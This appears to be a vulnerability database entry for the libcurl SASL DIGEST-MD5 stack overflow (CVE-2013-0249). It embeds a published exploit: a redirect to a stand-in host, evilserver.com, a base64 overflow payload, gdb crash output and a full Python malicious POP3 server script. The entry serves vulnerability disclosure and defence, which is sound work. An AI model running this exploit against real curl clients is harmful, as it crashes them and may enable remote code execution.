CVE-2013-0249 : Detail

CVE-2013-0249

Overflow
89.77%V3
Network
2013-03-08
21h00 +00:00
2016-12-06
17h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Stack-based buffer overflow in the Curl_sasl_create_digest_md5_message function in lib/curl_sasl.c in curl and libcurl 7.26.0 through 7.28.1, when negotiating SASL DIGEST-MD5 authentication, allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long string in the realm parameter in a (1) POP3, (2) SMTP or (3) IMAP message.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 24487

Publication date : 2013-02-10 23h00 +00:00
Author : Volema
EDB Verified : No

cURL buffer overflow Wed 06 February 2013 Volema found remotely exploitable buffer overflow vulnerability in libcurl POP3, SMTP protocol handlers which lead to code execution (RCE). When negotiating SASL DIGEST-MD5 authentication, the function Curl_sasl_create_digest_md5_message() uses the data provided from the server without doing the proper length checks and that data is then appended to a local fixed-size buffer on the stack. Vendor notified, CVE-2013-0249 relased. Attack Concept Outline We have the permissions to send custom HTTP requests with curl. We send request to our http://evilserver.com/ GET / HTTP/1.0 Host: evilserver.com server answers with HTTP/1.0 302 Found Location: pop3://x:[email protected]/. "smart" curl interpretes redirect and connects to evilserver.com port 110/TCP using POP3 proto. Server answers +OK POP3 server ready curl sends CAPA servers answers with DIGEST-MD5 only +OK List of capabilities follows SASL DIGEST-MD5 IMPLEMENTATION dumbydumb POP3 server so, libcurl has to send AUTH DIGEST-MD5 then server sends the payload + cmVhbG09IkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIixub25jZT0iT0E2TUc5dEVRR20yaGgiLHFvcD0iYXV0aCIsYWxnb3JpdGhtPW1kNS1zZXNzLGNoYXJzZXQ9dXRmLTg= and overflow happens because of fixed realm buffer size realm="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",nonce="OA6MG9tEQGm2hh",qop="auth",algorithm=md5-sess,charset=utf-8 how it looks in gdb Program received signal SIGSEGV, Segmentation fault. 0x00007fd2b238298d in ?? () from /lib/x86_64-linux-gnu/libc.so.6 (gdb) bt #0 0x00007fd2b238298d in ?? () from /lib/x86_64-linux-gnu/libc.so.6 #1 0x00007fd2b2a5cc07 in Curl_sasl_create_digest_md5_message () from /home/kyprizel/test/curl-7.28.1/lib/.libs/libcurl.so.4 #2 0x4141414141414141 in ?? () ... #1469 0x4141414141414141 in ?? () #1470 0x656d616e72657375 in ?? () Cannot access memory at address 0x7fff63b8b000 Original exploit: pop3d.py. #!/usr/bin/env python # -*- coding: utf-8 -*- # curl pop3 CVE-2013-0249 by Volema/MSLC import socket import base64 host = "localhost" port = 110 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((host, port)) s.listen(5) sock, addr = s.accept() sock.send('+OK POP3 server ready\n') while True: buf = sock.recv(1024) print buf if buf.find('USER') > -1: sock.send('+OK\n') if buf.find('PASS') > -1: sock.send('-ERR 999\n') if buf.find('CAPA') > -1: resp = '+OK List of capabilities follows\n' resp += 'SASL DIGEST-MD5\n' resp += 'IMPLEMENTATION dumbydumb POP3 server\n' resp += '.\n' sock.send(resp) if buf.find('QUIT') > -1: sock.send('+OK') break if buf.find('AUTH') > -1: realm = 'A'*128 payload = 'realm="%s",nonce="OA6MG9tEQGm2hh",qop="auth",algorithm=md5-sess,charset=utf-8' % realm resp = '+ '+base64.b64encode(payload)+'\n' print resp sock.send(resp) sock.close() Mitigation We recommend to disable protocols other than HTTP(S) in your application using options CURLOPT_PROTOCOLS and CURLOPT_REDIR_PROTOCOLS. libcurl version should be updated.

Products Mentioned

Configuraton 0

Haxx>>Curl >> Version 7.26.0

Haxx>>Curl >> Version 7.27.0

Haxx>>Curl >> Version 7.28.0

Haxx>>Curl >> Version 7.28.1

Haxx>>Libcurl >> Version 7.26.0

Haxx>>Libcurl >> Version 7.27.0

Haxx>>Libcurl >> Version 7.28.0

Haxx>>Libcurl >> Version 7.28.1

Configuraton 0

Canonical>>Ubuntu_linux >> Version 12.10

References

http://www.securityfocus.com/bid/57842
Tags : vdb-entry, x_refsource_BID
http://www.exploit-db.com/exploits/24487
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.ubuntu.com/usn/USN-1721-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.securitytracker.com/id/1028093
Tags : vdb-entry, x_refsource_SECTRACK
http://www.osvdb.org/89988
Tags : vdb-entry, x_refsource_OSVDB